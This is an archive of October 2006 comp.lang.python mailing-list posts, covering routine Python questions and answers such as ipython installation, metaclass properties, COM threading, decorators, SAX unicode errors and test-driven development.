Indeed. The SuperPack is broken and does not contain the ipython script. It > also > puts the documentation in the wrong place. > > ipython is a pure-Python package and easy to install from source. Bingo! Now it is clear why I am having problems. I will install from source as you suggest. Looks pretty straightforward. Sorry to hear the SuperPack is broken. It's a nice idea for us users. Other packages seem to be working fine. Any chance it will be fixed? > > On the ipython web site for MacOS X it says to do the following after > > the install using python setup.py etc. in the extracted directories, > > > > python?setup.py?install_scripts?--install-dir=/usr/local/bin > > > > Is that what you are suggesting with the pydistutils.cfg ? > > Yes, it does the same thing, only it will apply to all packages (probably > what > you want) and you only have to do it once instead of remembering to do it > every > time. Robert, thanks for the insight and the solution. -- Lou Pecora (my views are my own) REMOVE THIS to email me. From eric.pederson at gmail.com Thu Oct 5 15:46:42 2006 From: eric.pederson at gmail.com (EP) Date: 5 Oct 2006 12:46:42 -0700 Subject: Request for recommendations: shared database without a server Message-ID: <1160077602.190028.286290@h48g2000cwc.googlegroups.com> I need to build a fairly simple application that will reside on remote storage, not on a server, and I am looking for any best practices and approaches that have worked for others. I believe py2exe may be part of the solution. Here's what I need to build: -- A database application on a network drive -- A variety of users will access the database application at various times -- All computing is done on the client machines (Windows XP), as there is no server -- I'll not be able to install a database program, or Python, on the client machines While this seems just the sort of application servers were designed for, the absence of a server is a firm constraint (no technological reason, just an arbitrary wall of infinite height) I currently have some of the required database tables populated in MySQL, but I can migrate them as long as I have SQL capabilities in the new database. Can I get there with MySQL? Or do I need to pair a pure python approach (including the database) with py2exe? Has anyone achieved this with a db framework like Dabo? Or is there another, entirely different and better approach? The common wisdom around the halls is to just use MS Access, because apparently everyone has that on their client machines, or can be asked/expected to install it. That's not my preference, but I need to forget my biases, be pragmatic and get the application done. Thanks for any advice EP From george.sakkis at gmail.com Wed Oct 18 04:13:21 2006 From: george.sakkis at gmail.com (George Sakkis) Date: 18 Oct 2006 01:13:21 -0700 Subject: creating many similar properties References: <1161156619.762883.237630@e3g2000cwe.googlegroups.com> Message-ID: <1161159201.685954.82040@h48g2000cwc.googlegroups.com> Carl Banks wrote: > Lee Harr wrote: > > I understand how to create a property like this: > > > > class RC(object): > > def _set_pwm(self, v): > > self._pwm01 = v % 256 > > def _get_pwm(self): > > return self._pwm01 > > pwm01 = property(_get_pwm, _set_pwm) > > > > > > But what if I have a whole bunch of these pwm properties? > > > > I made this: > > > > class RC(object): > > def _makeprop(name): > > prop = '_%s' % name > > def _set(self, v): > > v_new = v % 256 > > setattr(self, prop, v_new) > > def _get(self): > > return getattr(self, prop) > > return property(_get, _set) > > > > pwm01 = _makeprop('pwm01') > > pwm02 = _makeprop('pwm02') > > > > > > Not too bad, except for having to repeat the name. > > > > I would like to just have a list of pwm names and > > have them all set up like that. It would be nice if > > each one was set to a default value of 127 also.... > > > > Any thoughts? > > > The metaclass solution. I use this idiom occasionally, whenever I want > to fiddle with the class dict before letting the type constructor at > it. > > class mod256metatype(type): > def __new__(metatype,name,bases,clsdict): > for sym in clsdict.get('__mod256__',()): > prop = '_%s' % sym > def _set(self,v): > setattr(self,prop,v%256) > def _get(self): > return getattr(self,prop) > clsdict[sym] = property(_get,_set) > return type.__new__(metatype,name,bases,clsdict) > > class RC(object): > __metaclass__ = mod256metatype > __mod256__ = ["pwm01","pwm02"] There's a subtle common bug here: all _get and _set closures will refer to the last property only. You have to remember to write "def _set(self,v,prop=prop)" and similarly for _get to do the right thing. By the way, I can't think of a case where the current behavior (i.e. binding the last value only) is the desired one. Is this just an implementation wart or am I missing something ? George From dfj225 at gmail.com Sat Oct 21 20:01:17 2006 From: dfj225 at gmail.com (dfj225 at gmail.com) Date: 21 Oct 2006 17:01:17 -0700 Subject: Python with MPI enable C-module In-Reply-To: References: <1161265860.684651.91210@k70g2000cwa.googlegroups.com> Message-ID: <1161475277.683774.153010@h48g2000cwc.googlegroups.com> Mitko, Thank you for your response. You understand the problem correctly. The Python module uses MPI calls in its implementation. The idea of the project is to create an abstraction for a distributed memory computer. In doing so, the user is mostly isolated from a need to understand and use MPI calls. After my post, I was able to find some more information on the subject. I think you are right in that mpiexec (or equivalents) would not work without some extra work. However it seems that using an additional module (such as Pypar) would allow me to use Python with mpiexec. Thank you, ~doug On Oct 20, 7:13 pm, Mitko Haralanov wrote: > On 19 Oct 2006 06:51:00 -0700 > > "dfj... at gmail.com" wrote: > > 1) Would setting up an environment like this require modifying the > > Python interpreter or the C++ module that is being wrapped? What I'm > > hoping is that the C++ module can go on happily doing MPI operations > > despite the fact that it is actually being called by the Python > > interpreter.If I am understanding you correctly, you have a Python module which > calls into the C++ library to do the actual MPI operations. If that is > the case, then there should be any problems just calling the Python > wrappers. The MPI library should be unaffected. It would be the same as > having your node programs call into the C++ library, now you just have > one more layer of abstraction. > > > 2) Would it be possible to spawn these Python processes using mpiexec > > (or something similar), or would I need to use some of the MPI-2 > > features to dynamically set up the MPI environment?If you are writing a Python wrapper to the MPI library, then the > wrapper will be just like a module and not a self sustained program. If > that is the case, mpiexec/mpirun/mpd would not be able to do anything > since they expect to start a program that has main()/__main__. > > > 3) Has anyone accomplished something like this already? I know there > > are extensions and modules that add MPI functionality to Python, but > > I'm hoping they could be avoided, since the Python code itself should > > never really have to be aware of MPI, only the C++ module that has > > already been written.Haven't done it but from what I know about MPI and Python, it is > possible. > > -- > Mitko Haralanov m... at qlogic.com > Senior Software Engineer 650.934.8064 > System Interconnect Group http://www.qlogic.com From bjobrien62 at gmail.com Tue Oct 3 13:29:00 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 3 Oct 2006 10:29:00 -0700 Subject: array tofile fromfile tosocket? fromsocket? Message-ID: <1159896540.328282.242100@m7g2000cwm.googlegroups.com> Hi I am using arrays in an application. They have been working very well for me as I have been using them for reading and writing data to and from files whose endianisms can be big or little endian. However now I need handle data that can be transferred over a socket. I would rather not have to go in and change every occurance of tofile and fromfile to a function but realize that is what I may have to do. I was under the impression that a file and socket were interchangable (like a file descriptor). Does anyone have an idea that might help me minimize the impact on my code? From Hakusa at gmail.com Sun Oct 29 20:59:57 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 29 Oct 2006 17:59:57 -0800 Subject: Very simple request about argument setting. Message-ID: <1162173597.849028.25940@m7g2000cwm.googlegroups.com> I have the argument items in my class room. class room: def __init__(self, name, description, items*): I thought I remembered from a tutorial I read once, and I've read so many I feel like an expert of them, that putting a little star* above an item makes it accept the argument as a list. But when I tried this, I got an invalid syntax error message. So: Question 1: How can I create an argument that accepts a list of variable? Question 2: How do I signify to accept each item as one list? (my bet's on using another set of parens) Question 3: Or am I going about this all wrong and should always create a list before the fuction call and use the list in the function call? From bray at sent.com Mon Oct 9 19:23:14 2006 From: bray at sent.com (bray at sent.com) Date: Mon, 09 Oct 2006 18:23:14 -0500 Subject: Chicago Python User Group Thurs October 12, 2006 Message-ID: <1160436194.2711.272929939@webmail.messagingengine.com> Thurs. October 12th, 2006. 7pm. This will be our best meeting, yet. David Beasley http://www.dabeaz.com, software developer, writer, and jazz musician will present on PLY. It's 100% Python and very cool. Do not miss this one! Topics ------ * PLY (Python Lex Yacc) David Beazley * Performance Python (without PyPy) Michael Tobis Location -------- Performics 180 N. Lasalle 12th floor. Chicago RSVP (for building security) by Tuesday night to chris.mcavoy at gmail.com with subject "RSVP Chipy" After the storm --------------- A group may be heading off to catch the snake's tail end of Tech-cocktail 2 after the meeting and open discussion. We are not affilated with Tech-cocktail 2, so you must also RSVP About ChiPy ----------- ChiPy is a group of Chicago Python Programmers, l33t, and n00bs. Meetings are held monthly at various locations around Chicago. Also, ChiPy is a proud sponsor of many Open Source and Educational efforts in Chicago. Stay tuned to the mailing list for more info. ChiPy website: ChiPy Mailing List: Python website: --- Go ChiPy! From MrJean1 at gmail.com Mon Oct 9 20:28:53 2006 From: MrJean1 at gmail.com (MrJean1) Date: 9 Oct 2006 17:28:53 -0700 Subject: print time comparison: IDLE versus terminal on ultra 20 In-Reply-To: <1160428951.061399.311880@c28g2000cwb.googlegroups.com> References: <1160332865.902895.315470@e3g2000cwe.googlegroups.com> <1160345716.439170.117110@e3g2000cwe.googlegroups.com> <1160428951.061399.311880@c28g2000cwb.googlegroups.com> Message-ID: <1160440133.307617.248040@m73g2000cwd.googlegroups.com> With the binaries /usr/sfw/bin/python and /usr/sfw/bin/idle the results are 0.002279 resp. 0.222831 secs for the same print test. The Python version is 2.3.3 and IDLE version 1.0.2 on the same Ultra 20 Opteron box running Solaris 10. /Jean Brouwers sam wrote: > i forgot to mention that i'm running a version of python 2.3 (think > it's 2.3.5), as that's what was installed and i'm not hooked up to the > internet with the ultra 20 yet. that may account for some of the > difference. > > sam From steve at REMOVE.THIS.cybersource.com.au Tue Oct 17 10:07:16 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Wed, 18 Oct 2006 00:07:16 +1000 Subject: Tertiary Operation References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> Message-ID: On Tue, 17 Oct 2006 06:30:32 -0700, abcd wrote: > x = None > result = (x is None and "" or str(x)) Boolean operators "and" and "or" stop as soon as a result is known. So: X and Y evaluates as X if X is false; otherwise it evaluates as Y. X or Y evaluates as X if X is true; otherwise it evaluates as Y. (x is None) evaluates as true, so (x is None and "") evaluates as "". ("") evaluates as false, so ("" or str(None)) evaluates as str(None). The important factor you missed is, I think, that the empty string is false in a boolean context. >>> if '': ... print "empty string evaluates as true" ... else: ... print "empty string evaluates as false" ... empty string evaluates as false > y = 5 > result = (y is 5 and "it's five" or "it's not five") (y is 5) evaluates as true, so (y is 5 and "it's five") evaluates as "it's five". "it's five" evaluates as true, so ("it's five" or ""it's not five") evaluates as "it's five". Your basic logic is okay, but you shouldn't test equality with "is". == tests for equality; is tests for object identity. In the case of None, it is a singleton; every reference to None refers to the same object. But integers like 5 aren't guaranteed to be singletons. In your case, you were lucky that, by a fluke of implementation, "y is 5" was true. But watch: >>> 1+4 is 5 True >>> 10001 + 10004 == 10005 True >>> 10001 + 10004 is 10005 False Always use == to test for equality, and (is) only to test for actual object identity ("is this object the same as this one, not just two objects with the same value?"). -- Steven. From robert.kern at gmail.com Tue Oct 3 04:33:27 2006 From: robert.kern at gmail.com (Robert Kern) Date: Tue, 03 Oct 2006 03:33:27 -0500 Subject: Python to use a non open source bug tracker? In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it> References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: Giovanni Bajo wrote: > Hello, > > I just read this mail by Brett Cannon: > http://mail.python.org/pipermail/python-dev/2006-October/069139.html > where the "PSF infrastracture committee", after weeks of evaluation, recommends > using a non open source tracker (called JIRA - never heard before of course) > for Python itself. > > Does this smell "Bitkeeper fiasco" to anyone else than me? No. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From rupole at hotmail.com Thu Oct 12 23:56:43 2006 From: rupole at hotmail.com (Roger Upole) Date: Thu, 12 Oct 2006 23:56:43 -0400 Subject: COM and Threads References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> Message-ID: <1160712022_1597@sp6iad.superfeed.net> "Teja" wrote: >I have an application which uses COM 's Dispatch to create a COM based > object. Now I need to upgrade the application to a threaded one. But > its giving an error that COM and threads wont go together. Specifically > its an attribute error at the point where COM object is invoked. Any > pointers please?????? > An actual traceback would help. At a guess, when using COM in a thread you need to call pythoncom.CoInitialize and CoUninitialize yourself. Roger From http Wed Oct 25 15:10:19 2006 From: http (Paul Rubin) Date: 25 Oct 2006 12:10:19 -0700 Subject: question about True values References: Message-ID: <7x4ptsi544.fsf@ruckus.brouhaha.com> John Salerno writes: > I'm a little confused. Why doesn't s evaluate to True in the first > part, but it does in the second? Is the first statement something > different? No. True and False are boolean values, where booleans are a different data type from strings, just like strings are different from integers. >>> if s: print 'hi' converts s to a boolean during evaluation. That is, it's the same as if bool(s): print 'hi' bool(s) is a function that converts s to a bool. If s is a string, bool(s) is true if s is nonempty, false otherwise. A comparable thing with integers: suppose x = 3.1 then "x == 3" is false, but "int(x) == 3" is true. From arkanes at gmail.com Thu Oct 19 11:25:55 2006 From: arkanes at gmail.com (Chris Mellon) Date: Thu, 19 Oct 2006 10:25:55 -0500 Subject: Can I use decorators to manipulate return type or create methods? In-Reply-To: <1161265429.237110.43380@m73g2000cwd.googlegroups.com> References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com> Message-ID: <4866bea60610190825gae28b12y5f02efeb58be417d@mail.gmail.com> On 19 Oct 2006 06:43:49 -0700, WakeBdr wrote: > I'm writing a class that will query a database for some data and return > the result to the caller. I need to be able to return the result of > the query in several different ways: list, xml, dictionary, etc. I was > wondering if I can use decorators to accomplish this. > > For instance, I have the following method > > def getUsers(self, params): > return users.query(dbc) > > To get the appropriate return types, I also have these methods. I have > these convenience methods for every query method in my class. > > def getUsersAsXML(self, params): > return self._toXML(self.getUsers(params)) > def getUsersAsDict(self, params): > return self._toDict(self.getUsers(params)) > def getUsersAsList(self, params): > return self._toList(self.getUsers(params)) > > Instead of creating these three methods for every query method, is > there a way to use decorators to manipulate the return type. I'd still > like to have the caller use getUsersAsXML, I just don't want to write > the AsXML methods for every query method. So the decorator would > essentially create the convenience methods instead of me coding them. > > One solution that I don't want to use is passing a variable into the > query method that determines the return type. This is what I don't > want to do. > def getUsers(self, params, returnType): > > Any ideas on how I can accomplish this? You can't do it as fully magically as I'd like, because at the time decorators are run, the methods are just functions and aren't bound as methods yet (so you can't automagically add methods to the class, for example - you'd need to do that after the class definition finishes executing). You *could* decorate all the functions you want to have special return types, then (after the class definition) loop through those to generate the extra return funcs. You can do it with a minimum of boilerplate this way: from functools import wraps #only in 2.5, you can do this by hand in 2.4 #wrapped is the function we're calling and returning as XML #xmlfunc is the stub function we're replacing def returnXML(wrapped): def f(xmlfunc): @wraps(xmlfunc) def xmlMethod(self): return self.asXML(wrapped(self)) return xmlMethod return f class T(object): def getUser(self): return "user" def asXML(self, data): return "%s"%(data) @returnXML(getUser) def getUserAsXML(self):pass t = T() print t.getUserAsXML() From ironpythonster at gmail.com Tue Oct 10 10:32:49 2006 From: ironpythonster at gmail.com (Kevien Lee) Date: Tue, 10 Oct 2006 22:32:49 +0800 Subject: A problem about File path encode In-Reply-To: <7.0.1.0.0.20061010065236.04290218@yahoo.com.ar> References: <8c8dcbe30610091814g195c9ddcv4c29f33fa29e425@mail.gmail.com> <7.0.1.0.0.20061010065236.04290218@yahoo.com.ar> Message-ID: <8c8dcbe30610100732r49c7e735u532184e1e9015445@mail.gmail.com> Hi , I agree with the problem caue of the the *escape character,*but when i folllow these meth,it still didn't work. It is so strang that the code work on another computer (OS is WinXP),but throw error on mine.Why?plese help me On 10/10/06, Gabriel Genellina wrote: > > At Monday 9/10/2006 22:14, Kevien Lee wrote: > > > There is a problem about File path encode ,when i want to parse > > an xml file. > > xmldoc=minidom.parse("D:\Downloads\1.xml") > >IOError: [Errno 2] No such file or directory: 'D:\\Downloads\x01.xml' > > > >See the red line.the file path"D:\Downloads\1.xml" auto changed > >'D:\\Downloads\x01.xml' > > > >I think may be the version cause the problem (version2.4) at the > >beginning,but when i changed the version2.5 , > > *\ is a escape character. Use "D:\\Downloads\\1.xml" or > r"D:\Downloads\1.xml" or "D:/Downloads/1.xml" > (I wrote this same message a few hours ago...!) > * > > > -- > Gabriel Genellina > Softlab SRL > > > > > > __________________________________________________ > Pregunt?. Respond?. Descubr?. > Todo lo que quer?as saber, y lo que ni imaginabas, > est? en Yahoo! Respuestas (Beta). > ?Probalo ya! > http://www.yahoo.com.ar/respuestas > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From hanumizzle at gmail.com Fri Oct 6 01:05:26 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 01:05:26 -0400 Subject: help on pickle tool In-Reply-To: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> Message-ID: <463ff4860610052205h32e683a9je5e60a2623069af@mail.gmail.com> On 5 Oct 2006 21:52:56 -0700, virg <06virg at gmail.com> wrote: > Hi, > i have client-server application which is written in python using > XMLRPC protocol. The existing client is a command line. Now client > application we are converting it as Web UI using java. I have seen some > problems in writing a java client. At the server for each request from > client, the server sends a response in hashtable and is serialized > using "pickle". The python function we call at the server is... What kind of data are we talking about? Is it strictly dictionary / list stuff or is it more complex (functions & other objects)? I can see 2 possible options: Jython or YAML. (I have been answering a lot of questions re: serialization today and mentioned YAML in all of them :)) From riklaunim at gmail.com Wed Oct 25 15:04:38 2006 From: riklaunim at gmail.com (riklaunim at gmail.com) Date: 25 Oct 2006 12:04:38 -0700 Subject: ANN: Diamanda Wiki and MyghtyBoard Forum Test 1 In-Reply-To: <1161802588.269677.139820@b28g2000cwb.googlegroups.com> References: <1161801113.950400.169650@i3g2000cwc.googlegroups.com> <1161802588.269677.139820@b28g2000cwb.googlegroups.com> Message-ID: <1161803078.426585.181760@i42g2000cwa.googlegroups.com> > Might want to re-think your bboard app's name; people might think it > runs on Myghty. :) > > -Jonathan It did in very early stages ;) I've kept the name and if someone wants - using myghty templates in Django is very easy. From blair.houghton at gmail.com Sun Oct 8 20:25:27 2006 From: blair.houghton at gmail.com (Blair P. Houghton) Date: 8 Oct 2006 17:25:27 -0700 Subject: Google breaks Usenet (was Re: How can I correct an error in an old post?) In-Reply-To: References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> <1160096371.564954.132860@b28g2000cwb.googlegroups.com> <4SmVg.9105$GR.2172@newssvr29.news.prodigy.net> <1160154253.956469.195400@m73g2000cwd.googlegroups.com> Message-ID: <1160353527.418619.191340@m73g2000cwd.googlegroups.com> Bryan Olson wrote: > Blair P. Houghton wrote: > > Usenet isn't just the "send this message to all leaf nodes via tree" > > behavior, > > it's the "show me the message from 1987 or 1988 written by dickie > > sexton where > > he invents the '(*plonk*)' meme" behavior, and a lot of others. > > That makes Google the only non-broken Usenet service, > the opposite of what the retitling of this thread claims. It takes more than /one/ non-broken behavior to make a non-broken system. --Blair From steve at holdenweb.com Mon Oct 30 21:42:23 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 31 Oct 2006 02:42:23 +0000 Subject: Python windows interactive. In-Reply-To: <1162253732.035128.91060@e3g2000cwe.googlegroups.com> References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com> <45467205.3000302@websafe.com> <1162253732.035128.91060@e3g2000cwe.googlegroups.com> Message-ID: notejam wrote: > Thanks everyone for the help. I got a simple two line program to work > from a text file. > Can not figure out how to write more than one line in interpreter mode. > Is that all interpreter is good for, testing one liners? I have it > run the program everytime I hit return, and can not figure out how to > enter multiple lines of code. I can do multiple lines in text file, so > no problem, but I am jsut wondering can a program with 2 or more lines > be wrote from the interpreter mode? > The interactive interpreter is mostly for experimentation, but of course its advantage is that you can test out complex functionality imported from modules and packages. Want to know what's on the Google home page? >>> import urllib >>> f = urllib.urlopen("http://www.google.com") >>> data = f.read() >>> print data Google
... ©2006 Google

>>> You can also define funcitons and classes, and write multi-line statements interactively once you learn the conventions, but once functionality "hardens" into something of five lines or more that you want to experiment with you will find it's usually easier to edit a script or program in a text file and run it. This is even more the case when you start to use "test-driven development", something we shoudl all aspire to. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From johnjsal at NOSPAMgmail.com Wed Oct 18 16:59:06 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 18 Oct 2006 20:59:06 GMT Subject: Classes and Functions - General Questions In-Reply-To: <1161203230.765292.99380@f16g2000cwb.googlegroups.com> References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com> <1161203230.765292.99380@f16g2000cwb.googlegroups.com> Message-ID: Setash wrote: > Also, I have seen the following syntax used once before, and havent > found any documentation on it, any comments as to use, where to find > docs, etc?: > > from module import x as name > name.function() All that does is give you a method for renaming a particularly unruly module name to something more manageable, such as this: from xml.etree import ElementTree as ET Then you can use "ET" to qualify your function calls and such. From oliphant.travis at ieee.org Wed Oct 18 03:30:58 2006 From: oliphant.travis at ieee.org (Travis E. Oliphant) Date: Wed, 18 Oct 2006 01:30:58 -0600 Subject: How to convert this list to string? In-Reply-To: <1161156050.529095.204770@e3g2000cwe.googlegroups.com> References: <1161156050.529095.204770@e3g2000cwe.googlegroups.com> Message-ID: Jia Lu wrote: > Hi all > > I have a list like: > >>>> list > [1, 2, 3] >>>> list[1:] > [2, 3] > > I want to get a string "2 3" > >>>> str(list[1:]) > '[2, 3]' > > How can I do that ? > " ".join(str(x) for x in list) -Travis From rvtol+news at isolution.nl Sat Oct 28 09:03:53 2006 From: rvtol+news at isolution.nl (Dr.Ruud) Date: Sat, 28 Oct 2006 15:03:53 +0200 Subject: what are the most frequently used functions? References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com> Message-ID: robert schreef: > read more of the context and answer to the OP That OP is invisible in most relevant contexts. -- Affijn, Ruud "Gewoon is een tijger." From bignose+hates-spam at benfinney.id.au Fri Oct 27 20:51:41 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sat, 28 Oct 2006 10:51:41 +1000 Subject: Test-driven development (was: Tracing the execution of scripts?) References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com> <20061027023353.20948.138215951.divmod.quotient.1674@ohm> Message-ID: <87r6wtcleq.fsf_-_@benfinney.id.au> "Michael B. Trausch" writes: > Ben Finney wrote: > > Jean-Paul Calderone writes: > > > >> 1) Write unit tests for your code. Keep writing unit tests until > >> you have some that _don't pass_. Then fix your code so that they > >> do. When you do further development, write the tests first, then > >> implement the code that makes them pass. > > > > Hear hear. > > > > Be advised, though, that attempting to apply unit tests to code > > that wasn't designed with testing in mind may very quickly reveal > > a poor design. [0] If you can't easily test pieces of the code > > independently, you probably haven't written those pieces to be > > loosely coupled and well-defined. > > > > I will whole-heartedly admit that my code is probably poorly > designed. *shrug* Though, I *do* try to write everything in such a > way as to be able to easily re-use it later. The trick is to write pieces that are small and loosely-coupled, so that small pieces of code (not just entire modules) can be re-used without being re-written. Test-driven development helps with this, because a small, loosely-coupled piece of code is easy to test, so you will gravitate toward that style. > Besides, I am lazy... reuse certainly serves my needs there! :-) The programming virtues espoused by Larry Wall continue to hold true :-) > I think I have more to learn on the concept of unit-testing. > I have never seen a group push the idea so hard. Writing each test before the functional code is not a new idea, but Python makes it trivially easy to do, so the excuses for not doing it are much weaker and easier to ridicule :-) > I have read about unit testing before, and even written tests (in > other languages) to test modules of library code that I put together > once, but that was about it. Here's an article that goes through the concepts, and happens to use Python. > I need to, I think, get more "into" the concept, though. It isn't > something that I am able to just whip out and go "Hey, a widget unit > test! And it works!" probably because of my own lack of practice. One thing to note is that UI widgets shouldn't be the main thing you're testing. You need to write code that can be easily tested independent of everything else, because that way you can know that it works and move on to other things quickly, building on it as a foundation. UI widgets should be as dumb as possible, because they don't make a whole lot of sense by themselves except in the dumbest sense. Every part of your program that actually does something interesting with data or resources should be utterly independent of any UI widgets. *That* is the code that you need to get right, so that should be riddled with tests. Your widgets should be plugging into code that dumbly passes the data to the well-tested, UI-independent code that does work with that data; and the widgest should be getting their data from such UI-independent outputs. This is one aspect of "loose coupling": the code talks along a very narrow, well-defined, simple interface to other parts of the code. UI code especially is prone to change entirely independent of the desired functionality. for this reason, it's vital that you *can* change the functionality and UI code each without needing to change the other. The same principle applies along any interface between parts of code that can be expected to change independent of each other: loosely couple them together, with narrow well-defined interfaces. You may have heard of the "Model, View, Controller" pattern. This is a design pattern that emphasises a loose coupling between the UI (the "controller") and the data model, by abstracting each to the other via a simple "view" interface module. That way, each of the Controller and the Model can be oblivious to the most common changes in the other, even when those changes make for complex code, because the View they interact with stays simple and doesn't need to change. The reason test-driven development is so useful here is that, in order to write a test for something *before* it exists, you must think about how that piece of code will interact with the rest of the code. You must, in other words, design its interface before writing its code. This is excellent, because it means you're focussing on exactly the thing that will help to keep your overall design loosely coupled. Then, after you have a test that interacts with this interface, all you need to do is write the simplest code to satisfy that interface. The temptation to write clever, complex code is reduced, because you're now interested in satisfying the external test, not in treating this piece of code as an awesome complex machine ignoring the rest of the code. Good luck with getting test infected :-) -- \ "I bought a self learning record to learn Spanish. I turned it | `\ on and went to sleep; the record got stuck. The next day I | _o__) could only stutter in Spanish." -- Steven Wright | Ben Finney From cginboston at hotmail.com Tue Oct 3 07:02:45 2006 From: cginboston at hotmail.com (Chaz Ginger) Date: Tue, 03 Oct 2006 11:02:45 GMT Subject: Best way to handle large lists? Message-ID: I have a system that has a few lists that are very large (thousands or tens of thousands of entries) and some that are rather small. Many times I have to produce the difference between a large list and a small one, without destroying the integrity of either list. I was wondering if anyone has any recommendations on how to do this and keep performance high? Is there a better way than [ i for i in bigList if i not in smallList ] Thanks. Chaz From gregpinero at gmail.com Mon Oct 9 12:56:18 2006 From: gregpinero at gmail.com (=?ISO-8859-1?Q?Gregory_Pi=F1ero?=) Date: Mon, 9 Oct 2006 12:56:18 -0400 Subject: WSGI - How Does It Affect Me? In-Reply-To: <1160407856.216314.197210@k70g2000cwa.googlegroups.com> References: <1160407856.216314.197210@k70g2000cwa.googlegroups.com> Message-ID: <312cfe2b0610090956j5b77303clc40584162c76ff7a@mail.gmail.com> Thanks for all the answers everyone. It's finally starting to come together for me. Bruno, I tried reading some tutorials but perhaps I made the content out to be more complicated than it really was and got confused. So my final question is if WSGI will work on any web hosting company that supports Python. Mine currently is Nearly Free Speech and will probably be running Python 2.5 soon (if that matters) I'd like to try out web.py at some point on there. It looks like a nice framework. Eventually maybe I'll try all of them. (Sorry for not quoting here, but I'm kind of replying to everyone and bottom posting would be really confusing I thinks? Mailing list poetic license perhaps ;-) -Greg From fredrik at pythonware.com Wed Oct 11 06:51:40 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 12:51:40 +0200 Subject: Python component model References: <452b7aae$0$306$426a74cc@news.free.fr> <1160562945.079609.98640@m7g2000cwm.googlegroups.com> Message-ID: Paul Boddie wrote: > Meanwhile, the Web programming standardisation scene remains > stagnant. Aw, come on. The Python web programming standardisation wars are over, for now. There's Django, and there's TurboGears, and there's Zope 2/3, all with slightly different approaches, and slightly different target audiences. Unless you're doing really odd things, one of these will be more than good enough for your application. (as for WSGI, it's plumbing. You can of course build fun things from spare parts and plumbing, and there are really interesting things going on in certain research labs, as usual, but if you want turn-key stuff, pick one of the big three.) From edreamleo at charter.net Wed Oct 4 09:37:49 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Wed, 4 Oct 2006 08:37:49 -0500 Subject: sax barfs on unicode filenames Message-ID: Hi. Presumably this is a easy question, but anyone who understands the sax docs thinks completely differently than I do :-) Following the usual cookbook examples, my app parses an open file as follows:: parser = xml.sax.make_parser() parser.setFeature(xml.sax.handler.feature_external_ges,1) # Hopefully the content handler can figure out the encoding from the element. handler = saxContentHandler(c,inputFileName,silent) parser.setContentHandler(handler) parser.parse(theFile) Here 'theFile' is an open file. Usually this works just fine, but when the filename contains u'\u8116' I get the following exception: Traceback (most recent call last): File "c:\prog\tigris-cvs\leo\src\leoFileCommands.py", line 2159, in parse_leo_file parser.parse(theFile) File "c:\python25\lib\xml\sax\expatreader.py", line 107, in parse xmlreader.IncrementalParser.parse(self, source) File "c:\python25\lib\xml\sax\xmlreader.py", line 119, in parse self.prepareParser(source) File "c:\python25\lib\xml\sax\expatreader.py", line 111, in prepareParser self._parser.SetBase(source.getSystemId()) UnicodeEncodeError: 'ascii' codec can't encode character u'\u8116' in position 44: ordinal not in range(128) Presumably the documentation at: http://docs.python.org/lib/module-xml.sax.xmlreader.html would be sufficient for a sax-head, but I have absolutely no idea of how to create an InputSource that can handle non-ascii filenames. Any help would be appreciated. Thanks! Edward -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From http Wed Oct 4 17:25:12 2006 From: http (Paul Rubin) Date: 04 Oct 2006 14:25:12 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240E19.3040000@v.loewis.de> <7xwt7f4yox.fsf@ruckus.brouhaha.com> <452423FF.6010601@v.loewis.de> Message-ID: <7xirizbwp3.fsf@ruckus.brouhaha.com> "Martin v. L?wis" writes: > That, in principle, could happen to any other free software as well. > What is critical here is that SF *hosted* the installation. If we would > use a tracker that is free software, yet hosted it elsewhere, the same > thing could happen: the hoster could make modifications to it which > are non-free. Not even the GPL could protect from this case: the > hoster would be required to publish source only if he publishes > binaries, but he wouldn't publish any binaries, so he wouldn't need > to release the source changes, either. True, though GPL 3 tries to address that. Most important is to figure out the underlying attitude of the host. I realize it's the same crufty software (or worse) as SF and therefore maybe not so attractive on those grounds already, but did you think about migrating to Savannah? > Also, even if it the software is open source and unmodified, there > still wouldn't be a guarantee that you can get the data out of it > if you want to. You *only* get the advantages of free software if > you also run it yourself. Unfortunately, there is a significant > cost associated with running the software yourself. Well, if the cash is available, there's always the possibility of using free software and paying someone to host it. Anyway, I wouldn't have expected running a tracker to be that significant a task compared with the rest of the web site, the mailing lists, the Subversion server, the codebase itself, etc. etc. But Paul Boddie explained some of the issues pretty well. > Despite what other people say, this *is* an issue. On python.org, > things that should get done don't, just because there is no > volunteer doing them. Hosting such a service elsewhere has the > clear advantage that you don't have to worry about most routine > maintenance jobs. I have to wonder too why Jira is so sure to be more reliable than SF. From jordan.nick at gmail.com Tue Oct 3 23:52:17 2006 From: jordan.nick at gmail.com (jordan.nick at gmail.com) 